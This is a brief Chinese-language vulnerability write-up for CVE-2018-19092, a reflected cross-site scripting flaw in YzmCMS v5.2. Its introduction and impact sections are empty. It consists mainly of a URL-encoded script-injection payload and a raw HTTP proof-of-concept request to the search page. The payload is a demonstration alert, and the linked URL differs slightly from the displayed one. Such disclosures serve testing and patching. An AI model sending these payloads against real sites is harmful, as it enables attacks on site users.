（CVE-2018-19092）YzmCMS_v5.2_xss漏洞

# （CVE-2018-19092）YzmCMS v5.2 xss漏洞

=====================================

一、漏洞简介
————

二、漏洞影响
————

三、复现过程
————

XSS payload:
[http://www.0-sec.org/search/index/archives/pubtime/1526387722/page/1.html?tqh3l%22%3e%3cscript%3ealert(1)%3c%2fscript%3er6qt2=1](http://192.168.1.40/search/index/archives/pubtime/1526387722/page/1.html?tqh3l%22%3Ealert(1)\<%2fscript\>r6qt2=1)

POC:

GET /search/index/archives/pubtime/1526387722/page/1.html?tqh3l%22%3e%3cscript%3ealert(1)%3c%2fscript%3er6qt2=1 HTTP/1.1
Host: www.0-sec.org
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Referer: http://192.168.1.40/search/index/archives/pubtime/1526387722.html
Cookie: PHPSESSID=u0bh5qnr84qsu9aa0oj8vpkuk